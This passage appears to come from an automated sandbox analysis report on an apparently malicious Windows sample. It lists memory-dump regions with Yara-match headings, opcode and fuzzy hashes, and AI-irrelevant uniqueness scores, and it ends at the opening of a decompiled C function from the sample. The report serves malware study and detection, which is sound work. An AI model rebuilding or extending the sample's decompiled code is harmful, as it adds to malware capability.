      • Instruction Fuzzy Hash: 9071787260438A8FDB34DE3CC9A47DB77B2AF95380F46426DDC8997249E7318A44CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: <u"^
      • API String ID: 0-3806464109
      • Opcode ID: 7fe667f55459ec499e15b555f5f89e558b076362641745f12e362397f4ee169c
      • Instruction ID: 5012479d25af8c9e3464905b737b3115bf428e533588b70f550603ddf419bf09
      • Opcode Fuzzy Hash: 7fe667f55459ec499e15b555f5f89e558b076362641745f12e362397f4ee169c
      • Instruction Fuzzy Hash: C151DEB6A043989FDB31DE28CC94BDE3BA6BF48750F81412ADC8D9B241D3755A868B41
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: hG5
      • API String ID: 0-208685701
      • Opcode ID: 9e9e2a15dcb77f115fe1c816ece5a9b5a7bb19a80eebda8c7efe7d2da62f7daa
      • Instruction ID: 9dd76a1c4714fca6add6f941f45c7761e44cea31ac12bbdb61945e426a83240e
      • Opcode Fuzzy Hash: 9e9e2a15dcb77f115fe1c816ece5a9b5a7bb19a80eebda8c7efe7d2da62f7daa
      • Instruction Fuzzy Hash: 7C5113306047854BEF35CE7CC9947CA3BD2AF46354F4882AEDC99CB286E7358A46C741
      Uniqueness

      Uniqueness Score: -1.00%

      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID: ayWN
      • API String ID: 0-2640362401
      • Opcode ID: eb09cf5341359b8a34ed8c1685c8730ec32059c31507fd98b6675af3d93415c6
      • Instruction ID: ce5fd4ef18177d2adc7c1b60023b9387281a55d0800b960f566e2bc2b09a169b
      • Opcode Fuzzy Hash: eb09cf5341359b8a34ed8c1685c8730ec32059c31507fd98b6675af3d93415c6
      • Instruction Fuzzy Hash: 4B4122B07443459FEB28CE35C9847EA3BA2FF89360F61816DDD598B256E3708980CF51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: abd43486b7891631e17b33aa1ead85002856970ff89c84bb16fb340601853262
      • Instruction ID: f5ed1e8a81802a69c1b3d12f86f7edcd3e7a3d0a55a28e70c3b48be0e346ddbc
      • Opcode Fuzzy Hash: abd43486b7891631e17b33aa1ead85002856970ff89c84bb16fb340601853262
      • Instruction Fuzzy Hash: 900265767043468FDB34CE28DD947EAB3A2FF89360F54826EDC498B380D73159468B95
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 949513845d808335c33d134554827b58d3fea99c9b3052c406ab8ad50994e4aa
      • Instruction ID: bb27f2526de74be5a3487b82f302e2529b2f3552fe9acb438cf25235a4b79f5b
      • Opcode Fuzzy Hash: 949513845d808335c33d134554827b58d3fea99c9b3052c406ab8ad50994e4aa
      • Instruction Fuzzy Hash: 58F1247560474A9FDF349E3888A43EA37A3EF95350F95813EDC8ADB244E7308986CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 373e0d93c39d89d690b1e2bcef6ae693b6c2fd554ef262bf82bc07043aa8f706
      • Instruction ID: 588008b3d86b4745822bc9e4debf798c9f9728e1f8d344e42c23e9d08924792a
      • Opcode Fuzzy Hash: 373e0d93c39d89d690b1e2bcef6ae693b6c2fd554ef262bf82bc07043aa8f706
      • Instruction Fuzzy Hash: 3ED19D366043898FDB30DE28CD553FEB7A2EF95370F54826ECC898B250E7314589CA56
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: dc7c5c9bb7d17031a17667311ebaea9aad11c5a7b2f658d292e7f3f351271395
      • Instruction ID: 018fe09701ac6e16b28dfb8a06caee88bce01f9f666822a46aa68240b987d7a7
      • Opcode Fuzzy Hash: dc7c5c9bb7d17031a17667311ebaea9aad11c5a7b2f658d292e7f3f351271395
      • Instruction Fuzzy Hash: BDE178716043899FDF34AE38CD953EE7BA2AF55350F59416ECC8D8B245E3319A89CB02
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 7268c578f0298c21a81c30b24ba81586e2f206a1d599e1dd195876ad8197701b
      • Instruction ID: 61a3144c41dac81f20a1794efaec9c2c08d8d58b3d4048c871ffd9ec6abad327
      • Opcode Fuzzy Hash: 7268c578f0298c21a81c30b24ba81586e2f206a1d599e1dd195876ad8197701b
      • Instruction Fuzzy Hash: B8A1BC7204E7D09FD7139B748CA95A27FB4EE1331430E09DBD4C19E1B3D2296A2AD722
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 0544852759012abbacd635b478f0f236bb46650c0b426f485f2135fe03928e6d
      • Instruction ID: 04560bb2af4c70d57c7eabebdbaef1e7bcc5c17f2000bcab00c6bc86c707e231
      • Opcode Fuzzy Hash: 0544852759012abbacd635b478f0f236bb46650c0b426f485f2135fe03928e6d
      • Instruction Fuzzy Hash: 91D14674A443499FDB749E38C8947EB77E6EF59340F85852EDCC9DB204E7308A868B42
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID:
      • API String ID: 2167126740-0
      • Opcode ID: 311cb0b5c4deee6ef1b1e19894c88e9b331e6b1e4d78fae6ebd60bf8acdd288e
      • Instruction ID: 8b6b6a8b8e081d8b74c6b57700f7d47bcc07a6b3e21c1747cd646ef422a54a14
      • Opcode Fuzzy Hash: 311cb0b5c4deee6ef1b1e19894c88e9b331e6b1e4d78fae6ebd60bf8acdd288e
      • Instruction Fuzzy Hash: D8A1053B35C3464FE301CA5A6E462BEF7A1DFC6771725C2EFD4415B261DB12408A829E
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: b14ba5df981df2d3ff9d4dff72796f8884c7194b2a5260e51e500b9862b76ce8
      • Instruction ID: cb4827f1ff4e93371d5faddae610efd1076ebb6b320eba6623ab9c37f5fdd9e3
      • Opcode Fuzzy Hash: b14ba5df981df2d3ff9d4dff72796f8884c7194b2a5260e51e500b9862b76ce8
      • Instruction Fuzzy Hash: AFC1227260434ADFDB348E38DD647DA77A2FF46360F95426EDC598B281E7319A42CB80
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 57e2a68e05e669f48d34bb2b5a237c7f954eb978e2f92b582552cc172fecc8f1
      • Instruction ID: c25b62513eb99aec9ca6e2158d4f0c163c3a57dd628c673f007957f04d373156
      • Opcode Fuzzy Hash: 57e2a68e05e669f48d34bb2b5a237c7f954eb978e2f92b582552cc172fecc8f1
      • Instruction Fuzzy Hash: F2B15A326487858EDB21CF298D957EABBD2DF86330F19C2EACC954F296D7324046C356
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID:
      • API String ID: 2167126740-0
      • Opcode ID: 9af5e2f574eec0d21e483f7951223b831d673faa57a0339f48928dd7c55ebf87
      • Instruction ID: 806f1febea9f7dc6340c0365e2665da2d31352cbeb2a673e36b9d9fe32b8040c
      • Opcode Fuzzy Hash: 9af5e2f574eec0d21e483f7951223b831d673faa57a0339f48928dd7c55ebf87
      • Instruction Fuzzy Hash: 3791283B35C3424FE301CA6A6E462BEF7A1DFC6771B2582EFD4415B251DB12408B829E
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: defd32d59acab54e14d5a33ae5181fab3c0d49c1b599a65dbcb2c29ee27c14eb
      • Instruction ID: c4695298a3fc8b2a514dd5f6f6c37f7fc808e7e692739fcab8455765fe71fab7
      • Opcode Fuzzy Hash: defd32d59acab54e14d5a33ae5181fab3c0d49c1b599a65dbcb2c29ee27c14eb
      • Instruction Fuzzy Hash: 0991FA706083499FCB68AF34989A7EBBBB2BF51340F86451DDCCA9B164C3344585CF02
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 325b60d1079cf2996d79353ee8fd8b537e40c57d3cc565c38236c0c904b180ee
      • Instruction ID: 033f40e1df91d866d646cb1b76e3ef7f205b3439d437d0a080ed5ac8aa00626f
      • Opcode Fuzzy Hash: 325b60d1079cf2996d79353ee8fd8b537e40c57d3cc565c38236c0c904b180ee
      • Instruction Fuzzy Hash: A2813431A047D58BCF358F388CD47DABBA2AF06350F4A82A9CCA95F299D3354542C751
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 96fa03861ea3a13c70735b2733410b62a2456b749f43ebb52e6b4de471396b83
      • Instruction ID: 92f4e13d2ee4aa640aa4347e28461f1f9803ee5bfd2d359b666b2206d4b81b6f
      • Opcode Fuzzy Hash: 96fa03861ea3a13c70735b2733410b62a2456b749f43ebb52e6b4de471396b83
      • Instruction Fuzzy Hash: EE619976604B4A9FCF34DE7899A43EB3773EF91390F95412ACC8A9B244E7304686CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: ed6a8c881c1a5a17b32034d929ad42368ce253b51b4e5c4d5d1dab7b5c93eb00
      • Instruction ID: f08310ed22ac7a43896cdc6f4936795b8318bf9febff30caa5838e959bce43f8
      • Opcode Fuzzy Hash: ed6a8c881c1a5a17b32034d929ad42368ce253b51b4e5c4d5d1dab7b5c93eb00
      • Instruction Fuzzy Hash: D2517C71604B4A9FCF30DE3889A43EB3773EF95390F95422ACC8A57244E7305686CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 47a27c8e1b44e6de75340da9b0113fe75ebdfc502b8dea80a4797ab51738e62b
      • Instruction ID: 199e15e64d880f48c1aae16c74153117811054aff9c914b2aefdd0716359b061
      • Opcode Fuzzy Hash: 47a27c8e1b44e6de75340da9b0113fe75ebdfc502b8dea80a4797ab51738e62b
      • Instruction Fuzzy Hash: 4B518D71604B4A9FCF30DE3889A43EB3773EF95390F95422ACC8A57244E7309686CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: b30e95e55a9197aeaf6638064212dcb04374ac72bc86802a5d25b16c41b50665
      • Instruction ID: bc28b878fba81ee2d0c04f99f1eab8e9306ea0297aa69f35878127edce6f4bc8
      • Opcode Fuzzy Hash: b30e95e55a9197aeaf6638064212dcb04374ac72bc86802a5d25b16c41b50665
      • Instruction Fuzzy Hash: 2A517B72604B4A9FCF34DD349DA43EA3773EF95390F95412ACC8A9B244E7305686CB51
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID:
      • API String ID: 2167126740-0
      • Opcode ID: cddecf2adece66c8f467dfefa05c4ebf2d5a9abc794d09117f546832daf900e9
      • Instruction ID: 48dd80ff380af7faf28869576f12e30d00e07c24de799099aa8758d25012aae1
      • Opcode Fuzzy Hash: cddecf2adece66c8f467dfefa05c4ebf2d5a9abc794d09117f546832daf900e9
      • Instruction Fuzzy Hash: 2D516B716047898FDB20BF788CA07DB7BA2AF55350F8545AECCC5DB106E7328985CB52
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID: AllocateMemoryVirtual
      • String ID:
      • API String ID: 2167126740-0
      • Opcode ID: a72dd684f7bba83b3296aab73fc92d8dec862f38e2f8093738dcc4ddef70b60c
      • Instruction ID: f25b2f559a0ab6de3b7f3c6fc2a146c5b31c30754312d26d69e75db70d03ca3b
      • Opcode Fuzzy Hash: a72dd684f7bba83b3296aab73fc92d8dec862f38e2f8093738dcc4ddef70b60c
      • Instruction Fuzzy Hash: 44514771A003499FDF74AE388C907EA37AAEF55350F91452EAC8DCB250E7308A86CB11
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 15faf9c8e59e980b30e9453004b205bb86ae97b8577d2e85074120eab1e245f8
      • Instruction ID: 211ccf691d58014bf29e99f0b82d34b1e827941d63d3e0d5267ac430000baef7
      • Opcode Fuzzy Hash: 15faf9c8e59e980b30e9453004b205bb86ae97b8577d2e85074120eab1e245f8
      • Instruction Fuzzy Hash: 4D512531A047C58ACF358E388DA47DA7BD2AF17350F4AC2A9CCA98F29AD3364141C712
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 55595378c18e3063603949a1b549a2cc969e1a33b2a98bc07e4cf2f7f0c0a16f
      • Instruction ID: 244b4c007869c6365f7d45f3b82437238b2a14b3d6d37cfe05e408262fd9a022
      • Opcode Fuzzy Hash: 55595378c18e3063603949a1b549a2cc969e1a33b2a98bc07e4cf2f7f0c0a16f
      • Instruction Fuzzy Hash: D0113A65B296040B8B59E87E488051791C38BEB220729F63A642DF73A8FE7DCC47424C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: e63e832d006dd3da54ac6c658e144b41eec14322027a27478281947fd34dc41a
      • Instruction ID: 02106f1c04c3ea009c33a41e3fc41bbf035cdd458f6aa5b3d13ae0ddbbdfa6f0
      • Opcode Fuzzy Hash: e63e832d006dd3da54ac6c658e144b41eec14322027a27478281947fd34dc41a
      • Instruction Fuzzy Hash: E55134715083CA9BDB319E38CD997EEBBA1BF12354F48469DCCC98B281E3314588CB52
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: c420ee5a857f5c621e2376d99abe27b4f3a6304cc716527e671394865c179d12
      • Instruction ID: 7866acf5b0709c0425b0cf427f35e7252fda29539d07bc4a0bb17b6b227edee1
      • Opcode Fuzzy Hash: c420ee5a857f5c621e2376d99abe27b4f3a6304cc716527e671394865c179d12
      • Instruction Fuzzy Hash: 9151C17264074A9FDB34CE28C9A07DB33F3AF99640F54852ACD8D8B608E735AA45CB45
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 8b984a3bd6b00b49259f034770f99654d7520e21e94da7a14e02125f2ed6852b
      • Instruction ID: bfbfc22791141cc1bd0445595af1b0abfe2582fd43e3615159f985839aadad03
      • Opcode Fuzzy Hash: 8b984a3bd6b00b49259f034770f99654d7520e21e94da7a14e02125f2ed6852b
      • Instruction Fuzzy Hash: 7B315C65F196040B8759E87E889096791C38FEB220729F639642DF73A9FD7ACC4B024C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 9f786f1ed15896250d2b67222be95ebbca86c97b20b38bc38f03c76537c9a1a3
      • Instruction ID: 367c5164ec07b51c5c1fcd3af22d719e1d7a6608f32ad9d397562a3894b1542f
      • Opcode Fuzzy Hash: 9f786f1ed15896250d2b67222be95ebbca86c97b20b38bc38f03c76537c9a1a3
      • Instruction Fuzzy Hash: 3E510531A087998ACF35DF388DA47DA7BD2AF17320F4AC2A9CCA94F299D3354541C751
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: e703f94dd4d5f7cbc538cfa5d9259674709e3c3e838ab1512f32638b702df111
      • Instruction ID: 6b2ae46824f07299596fce634c26ae7a3e6e096f684093c66eecd3ad7dffb452
      • Opcode Fuzzy Hash: e703f94dd4d5f7cbc538cfa5d9259674709e3c3e838ab1512f32638b702df111
      • Instruction Fuzzy Hash: 5C419A716043898FDB20BF788CB03DB77A2AF15350F8545AACCC8DB206E7328945CB92
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: bb7a1455f2bafdb2cae3825c15b7d2932a2d10ea3c0def2a5b6db50bdf2c115e
      • Instruction ID: 25ce829eeb0349c8ab3600c474d2cdc726f4056cb8136bc1d841221d472fcc59
      • Opcode Fuzzy Hash: bb7a1455f2bafdb2cae3825c15b7d2932a2d10ea3c0def2a5b6db50bdf2c115e
      • Instruction Fuzzy Hash: CB318D72648344AFCB348FB89D893CD7BA2EF82360F5A415DDC856B165C3314587CB05
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 29afd90e1dc52b5e5af7b1b4dd38ba5ad2c08ecbd8c94dae5c661444f67553d9
      • Instruction ID: 5d8ef1763714a86c7588569a2e3082afaad02f0c096f39c2c1b21c10c9d21b9e
      • Opcode Fuzzy Hash: 29afd90e1dc52b5e5af7b1b4dd38ba5ad2c08ecbd8c94dae5c661444f67553d9
      • Instruction Fuzzy Hash: 0D016D71B056144B8B69E87D8880416A6C7DFDF110724A17DA01DFB3A4EA3ECC478708
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 6593cccf16759bb570fb1dac4dba26b18329e2574bbba32ed42ea08e89c5e591
      • Instruction ID: b80850433df15711831311e2e5eb21d7224da160fa7778851df6ed5720cd3fcd
      • Opcode Fuzzy Hash: 6593cccf16759bb570fb1dac4dba26b18329e2574bbba32ed42ea08e89c5e591
      • Instruction Fuzzy Hash: E421F4762083C58FEF358E784EE53E76B93AF62240F88457ECCCA97146D7225586C706
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 23fd441457df6e672312dcb7758f6d6f6f4b1eec40de3927e89ce8db2449e494
      • Instruction ID: 180c1abb1a1269599b13723e74fbe0ce7072a73fc3bd3adca3feb918aeb1c94b
      • Opcode Fuzzy Hash: 23fd441457df6e672312dcb7758f6d6f6f4b1eec40de3927e89ce8db2449e494
      • Instruction Fuzzy Hash: 4521F5716583C58FCB259E388D953DB7BE19F02360F5882AECCDACB195E3648146C712
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 9fb21f5d4869d2b884bc468effb687755017a2cef58cd67b5b0781bd4c9f6f94
      • Instruction ID: af4e4777818bed2fe2c48672ca8503eef5d2ce850fc6eed63df5fc3c298dc27f
      • Opcode Fuzzy Hash: 9fb21f5d4869d2b884bc468effb687755017a2cef58cd67b5b0781bd4c9f6f94
      • Instruction Fuzzy Hash: CB21A873644344AFCB388EB99E857DE77A7AF813A0F4B411EEC85A3224C3314986CA01
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 9f61a1898dda344aec77669b8b9ccd1e7d71ac2de934108b0a7764d9f1afbfe0
      • Instruction ID: e1eaaad25977f9372e5d560325c513a97e0bace8f6bdc64e782730f303620a93
      • Opcode Fuzzy Hash: 9f61a1898dda344aec77669b8b9ccd1e7d71ac2de934108b0a7764d9f1afbfe0
      • Instruction Fuzzy Hash: 42115775B006859FCB34CF29C9D9BDA73E2BF98701F448069D949CB250EB30EA41EB25
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: e2711ce6bac8cf931431bb5326070c4920d13a48fe9bb651e2e88bfb301fcd20
      • Instruction ID: 9805f6f966372d13ae69709485fae6410e26d2894748950f04c4eae54b22d02c
      • Opcode Fuzzy Hash: e2711ce6bac8cf931431bb5326070c4920d13a48fe9bb651e2e88bfb301fcd20
      • Instruction Fuzzy Hash: 9CC08C43B1922B1B8AE210B43A8A2AA04039BD621032A96A01A50D9A44F8698E461A44
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
      • Instruction ID: a026a310f9d08bb1d858143eb29fddbf5fc3d9bc52f9beb0b7c2352c6f2dcf67
      • Opcode Fuzzy Hash: e0ec8044d55284a10f5932728e6c4a76dbf9d83842d798d8e448099b51cb11e3
      • Instruction Fuzzy Hash: CDB002B66515819FEF56DB08D591B4073A4FB55648B0904D0E412DB712D224E910CA04
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.775767651.0000000002BD0000.00000040.00000001.sdmp, Offset: 02BD0000, based on PE: false
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: c0cd8342711bff2a17d6880ca17a56bb92be87d9ada0797f6e6a34a493ac28b7
      • Instruction ID: 55914d657e4961e2a2ea4a1111486625917fa8c8e0811c22ec429538ec105628
      • Opcode Fuzzy Hash: c0cd8342711bff2a17d6880ca17a56bb92be87d9ada0797f6e6a34a493ac28b7
      • Instruction Fuzzy Hash: DAB092347116408FDA81CE1AC181F4173F1BB44B80B028494B801CBB25C325E800CA00
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 60%
      			E004141AD(void* __ebx, void* __edi, void* __esi, signed int __fp0, intOrPtr* _a4) {
      				signed int _v8;
      				intOrPtr _v12;
      				intOrPtr _v16;
      				signed int _v40;
      				char _v56;
      				signed int _v64;
      				char _v68;
      				char _v72;
      				signed int _v76;
      				char _v80;
      				intOrPtr _v88;
      				char _v96;
      				char _v112;
      				char _v128;
      				char _v144;
      				char _v160;
      				char _v176;
      				char _v192;
      				char _v208;
      				char* _v216;
      				char _v224;
      				char* _v232;
      				char _v240;
      				intOrPtr _v248;
      				char _v256;
      				intOrPtr _v264;
      				char _v272;
      				char* _v280;
      				char _v288;
      				char* _v296;
      				char _v304;
      				char* _v312;
      				char _v320;
      				char _v324;
      				signed int _v328;
      				signed int _v332;
      				signed int _v344;
      				signed int _t143;
      				signed int _t145;
      				signed int _t146;
      				signed int _t147;
      				intOrPtr* _t150;
      				signed int _t152;
      				intOrPtr* _t160;
      				signed char _t162;
      				intOrPtr* _t166;
      				char* _t170;
      				char* _t172;
      				char* _t174;
      				char* _t176;
      				char* _t178;
      				char* _t180;
      				char* _t182;
      				char* _t184;
      				char* _t185;
      				signed int _t186;
      				char* _t194;
      				intOrPtr* _t218;
      				intOrPtr* _t219;
      				signed int _t225;
      				signed int _t226;
      				intOrPtr* _t227;
      				intOrPtr* _t228;
      				char _t229;
      				void* _t230;
      				void* _t232;
      				intOrPtr _t233;
      				signed int _t238;
      				char* _t241;
      
      				_t238 = __fp0;
      				_t233 = _t232 - 0xc;
      				 *[fs:0x0] = _t233;
      				_v16 = _t233 - 0x158;
      				_v12 = 0x401210;
      				_v8 = 0;
      				_t218 = _a4;
      				_t143 =  *((intOrPtr*)( *_t218 + 4))(_t218, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t230);
      				_push(0x41089c);
      				_v40 = 0;
      				_v56 = 0;
      				_v64 = 0;
      				_v68 = 0;
      				_v72 = 0;
      				_v76 = 0;
      				_v80 = 0;
